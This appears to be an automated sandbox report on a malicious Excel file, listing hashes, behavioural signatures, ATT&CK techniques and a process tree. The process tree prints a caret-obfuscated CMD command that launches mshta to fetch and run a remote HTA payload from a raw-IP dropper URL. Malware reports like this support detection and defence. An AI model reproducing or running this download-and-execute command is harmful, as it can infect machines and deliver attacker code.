daeb3247447d0c19890e5554d0891adea600631008111ed7667350ad5191824b

Analysis

max time kernel
61s
max time network
37s
platform
windows7_x64
resource
win7-20241010-en
resource tags

arch:x64arch:x86image:win7-20241010-enlocale:en-usos:windows7-x64system
submitted
20-11-2024 20:56

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General

Target

daeb3247447d0c19890e5554d0891adea600631008111ed7667350ad5191824b.xls
Size

35KB
MD5

90b31390af722ba0f7630391b4dc444f
SHA1

017987edf27c0d95d3b490d2da79c0c76b07c602
SHA256

daeb3247447d0c19890e5554d0891adea600631008111ed7667350ad5191824b
SHA512

6fda46c8480a8b7e2b03c40c4c10603cff80e095a8fb4815bb1204b43c6e2ba4ed5fc8d4457a46afd7d3f8f8f5a2bbc0616bd62aecc5eed1fdbc7d84d73ed742
SSDEEP

768:f1kk3hbdlylKsgqopeJBWhZFGkE+cL2NdAJjj6ehEnmEzk:f1kk3hbdlylKsgqopeJBWhZFGkE+cL2V

Score

10^/10

discovery

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://91.240.118.168/oo/aa/se.html

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

CMD.EXE

description	pid	pid_target	process	target process
Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process	2960	2916	CMD.EXE	EXCEL.EXE

Blocklisted process makes network request 2 IoCs

Processes:

mshta.exe

flow pid process

4 3064 mshta.exe
7 3064 mshta.exe

flow	pid	process
4	3064	mshta.exe
7	3064	mshta.exe

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

Processes:

EXCEL.EXECMD.EXEmshta.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	CMD.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe

Enumerates system info in registry 2 TTPs 1 IoCs

Query Registry
T1012

System Information Discovery
T1082

Processes:

EXCEL.EXE

description ioc process

Key opened \REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor EXCEL.EXE
Modifies Internet Explorer settings 1 TTPs 1 IoCs
adware spyware

Modify Registry
T1112

Processes:

mshta.exe

description ioc process

Key created \REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000\Software\Microsoft\Internet Explorer\Main mshta.exe
Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

2916 EXCEL.EXE
Suspicious use of SetWindowsHookEx 3 IoCs

Processes:

EXCEL.EXE

pid process

2916 EXCEL.EXE
2916 EXCEL.EXE
2916 EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor	EXCEL.EXE

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe

pid	process
2916	EXCEL.EXE

pid	process
2916	EXCEL.EXE
2916	EXCEL.EXE
2916	EXCEL.EXE

Suspicious use of WriteProcessMemory 8 IoCs

Processes:

EXCEL.EXECMD.EXE

description	pid	process	target process
PID 2916 wrote to memory of 2960	2916	EXCEL.EXE	CMD.EXE
PID 2916 wrote to memory of 2960	2916	EXCEL.EXE	CMD.EXE
PID 2916 wrote to memory of 2960	2916	EXCEL.EXE	CMD.EXE
PID 2916 wrote to memory of 2960	2916	EXCEL.EXE	CMD.EXE
PID 2960 wrote to memory of 3064	2960	CMD.EXE	mshta.exe
PID 2960 wrote to memory of 3064	2960	CMD.EXE	mshta.exe
PID 2960 wrote to memory of 3064	2960	CMD.EXE	mshta.exe
PID 2960 wrote to memory of 3064	2960	CMD.EXE	mshta.exe

C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\daeb3247447d0c19890e5554d0891adea600631008111ed7667350ad5191824b.xls
1⤵
- System Location Discovery: System Language Discovery
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2916
- C:\Windows\SysWOW64\CMD.EXE
  CMD.EXE /c ms^hta http://91.2^40.118.1^68/oo/aa/s^e.ht^m^l
  2⤵
  - Process spawned unexpected child process
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2960
- - C:\Windows\SysWOW64\mshta.exe
    mshta http://91.240.118.168/oo/aa/se.html
    3⤵
    - Blocklisted process makes network request
    - System Location Discovery: System Language Discovery
    - Modifies Internet Explorer settings
    PID:3064

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/2916-0-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download
memory/2916-1-0x000000007377D000-0x0000000073788000-memory.dmp

Filesize
44KB

Download
memory/2916-2-0x000000007377D000-0x0000000073788000-memory.dmp

Filesize
44KB

Download